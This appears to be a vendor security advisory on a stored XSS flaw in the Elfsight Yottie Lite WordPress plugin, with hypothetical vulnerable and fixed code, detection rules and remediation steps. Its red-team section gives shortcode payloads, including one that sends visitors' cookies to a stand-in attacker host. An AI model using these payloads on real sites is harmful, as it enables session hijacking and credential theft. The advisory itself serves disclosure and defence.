CVE-2025-26561

Executive Summary

CVE-2025-26561 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elfsight Yottie Lite WordPress plugin, affecting versions up to and including 1.3.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious JavaScript into the plugin’s settings or shortcode parameters. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit code or patch details are currently available. As a WordPress plugin vulnerability, it is critical to assess the plugin’s usage and apply mitigations immediately.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and may be bundled in themes or custom installations. No official patch has been released by Elfsight as of this report. Users should monitor the plugin’s update channel and consider disabling or replacing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (admin must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the stored nature of the XSS, which can persist across sessions and affect multiple users. The low privileges required make it accessible to many WordPress users.

Deep Dive & Mechanics

The vulnerability resides in the Elfsight Yottie Lite plugin, which provides YouTube video gallery functionality via shortcodes. The plugin fails to properly sanitize user-supplied input when processing shortcode attributes or settings fields. An attacker with contributor-level access can inject malicious HTML/JavaScript into fields such as title, description, or custom CSS. This input is stored in the WordPress database and rendered without proper escaping when the shortcode is displayed.

The root cause is the use of echo or _e() functions without applying esc_html() or wp_kses() to user-controlled data. The plugin likely uses add_shortcode() and retrieves attributes via shortcode_atts(), but does not sanitize the values before output.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

function yottie_shortcode($atts) {
    $atts = shortcode_atts(array('title' => ''), $atts);
    echo '<div class="yottie-title">' . $atts['title'] . '</div>';
}

Patched Code (expected fix):

function yottie_shortcode($atts) {
    $atts = shortcode_atts(array('title' => ''), $atts);
    echo '<div class="yottie-title">' . esc_html($atts['title']) . '</div>';
}

The patched version uses esc_html() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

1. Prerequisites: WordPress site with Elfsight Yottie Lite <= 1.3.3 installed, and an account with contributor-level privileges.

2. Steps:

   • Log in as a contributor.
   • Create a new post or page.
   • Insert the Yottie shortcode with a malicious payload in the title attribute:

     [yottie title="<script>alert('XSS')</script>"]
     

   • Publish the post.
   • When an administrator views the post, the script executes.

3. Advanced Payload:

   [yottie title="<img src=x onerror=document.location='https://attacker.com/steal.php?cookie='+document.cookie>"]
   

Blue Team (Defender)

1. Detection: Monitor for unusual shortcode usage in posts/pages, especially from low-privilege users.
2. Mitigation: Disable the plugin until a patch is applied. Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
3. Hunting: Search the database for posts containing <script> or onerror in shortcode attributes.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Host: Presence of posts/pages with shortcode attributes containing <script>, onerror, onload, or javascript:.
• Logs: WordPress audit logs showing creation/editing of posts by contributor users with unusual shortcode parameters.
• File: Modified plugin files (if attacker gains file write access).

Detection Engineering

YARA Rule

rule CVE_2025_26561_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Elfsight Yottie Lite shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26561"
    strings:
        $xss1 = /\[yottie[^\]]*?title\s*=\s*["'][^"']*?<script[^>]*?>/
        $xss2 = /\[yottie[^\]]*?title\s*=\s*["'][^"']*?on\w+\s*=\s*["']/
        $xss3 = /\[yottie[^\]]*?title\s*=\s*["'][^"']*?javascript:/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-26561 Stored XSS in Elfsight Yottie Lite
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Yottie shortcode attributes
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress post creation/update
        PostContent|contains: '[yottie'
        PostContent|re: 'title\s*=\s*["\'][^"\']*?(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26561 Stored XSS in Elfsight Yottie Lite"; flow:to_server,established; content:"[yottie"; http_uri; pcre:"/title\s*=\s*["\'][^"\']*?(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Elfsight Yottie Lite plugin until a patched version is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
3. Long-term: Replace the plugin with an alternative that is actively maintained and has a security track record.
4. Monitoring: Review WordPress logs for any exploitation attempts and audit user permissions to ensure only trusted users have contributor access or higher.
5. Patch: Apply the official patch from Elfsight as soon as it becomes available. If no patch is released, consider forking the plugin and applying the fix manually.

Valters IT
Securing Digital Frontiers